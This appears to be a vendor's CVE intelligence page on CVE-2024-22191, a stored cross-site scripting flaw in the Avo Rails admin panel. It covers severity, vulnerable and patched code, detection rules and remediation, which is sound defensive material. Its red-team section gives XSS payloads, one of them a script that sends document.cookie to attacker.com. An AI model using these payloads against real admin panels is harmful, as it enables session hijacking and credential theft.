☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Avo logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.3 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-22191

CVE-2024-22191 Cross-Site Scripting in Avo
📅 PUBLISHED: 2024-01-16 21:57 UTC 🔄 UPDATED: 2026-09-23 20:21 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.74%
👁️
0.74% probability
18.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-22191 is a stored cross-site scripting (XSS) vulnerability in the Avo admin panel framework for Ruby on Rails. The flaw exists in the key_value field, where user-supplied values are directly inserted into HTML without proper sanitization. An authenticated attacker with the ability to edit or create records using the key_value field can inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or redirection to malicious sites. The vulnerability affects Avo versions 3.2.3 and 2.46.0, and likely earlier versions. Patches are available in versions 3.2.4 and 2.47.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Ruby gem avo, distributed via RubyGems. Users should verify their Gemfile.lock for affected versions and update to the patched versions. No known malicious packages have been reported, but the risk of supply chain compromise exists if an attacker gains access to the gem repository.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.3 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: Required (victim must view the malicious page)
  • Scope: Changed (impact may extend to other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: High. While the CVSS score is 7.3, the actual risk is elevated due to the stored nature of the XSS, which can affect multiple users and persist across sessions.

Deep Dive & Mechanics

The vulnerability resides in the key_value field component of Avo. This field is used to store key-value pairs in admin panels. When rendering the value, Avo directly interpolates the user-supplied value into the HTML without escaping or sanitizing it. For example, if an attacker sets a value to <script>alert('XSS')</script>, the script will execute in the browser of any admin viewing that record.

The root cause is the lack of output encoding in the view template. In Ruby on Rails, the html_safe method or raw ERB output (<%= raw ... %>) is likely used, bypassing Rails' automatic HTML escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Avo 3.2.3):

# app/views/avo/fields/key_value_field/_show.html.erb
<%= @field.value %>

This directly outputs the value without escaping.

Patched Code (Avo 3.2.4):

# app/views/avo/fields/key_value_field/_show.html.erb
<%= sanitize(@field.value) %>

The sanitize method strips dangerous HTML tags and attributes, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to an Avo admin panel with the ability to create or edit records using the key_value field.
  • A victim admin user who will view the malicious record.

Exploitation Steps:

  1. Log in to the Avo admin panel.
  2. Navigate to a resource that uses the key_value field.
  3. Create a new record or edit an existing one.
  4. In the key_value field, set the value to a malicious payload, e.g.:
    <img src=x onerror=alert(document.cookie)>
    
  5. Save the record.
  6. When another admin views the record, the payload executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team

Detection:

  • Monitor for unusual values in key_value fields containing HTML tags or JavaScript.
  • Use web application firewalls (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to mitigate impact.

Hunting:

  • Search logs for requests to resources with key_value parameters containing <script> or onerror.
  • Review database entries for key_value fields containing suspicious HTML.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from admin browsers.
  • Host: Browser console errors or unexpected JavaScript execution.
  • Application: Database entries in key_value fields containing HTML tags or JavaScript.
  • Logs: HTTP requests with key_value parameters containing <, >, or on attributes.

Detection Engineering

YARA Rule

rule CVE_2024_22191_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Avo key_value field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22191"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-22191 Avo key_value XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in Avo key_value field
author: Valters IT
logsource:
    category: application
    product: rails
detection:
    selection:
        params|contains|all:
            - 'key_value'
            - '<script'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of HTML in key_value fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22191 Avo key_value XSS Attempt"; flow:to_server; content:"key_value"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Upgrade to Avo 3.2.4 or 2.47.0.
  • If upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in key_value parameters.

Long-term:

  • Implement input validation and output encoding for all user-supplied data.
  • Use Rails' built-in sanitize helper or strip_tags for HTML fields.
  • Conduct regular security audits of third-party gems.

Workaround:

  • Disable the key_value field in Avo configurations until patched.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-22191/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.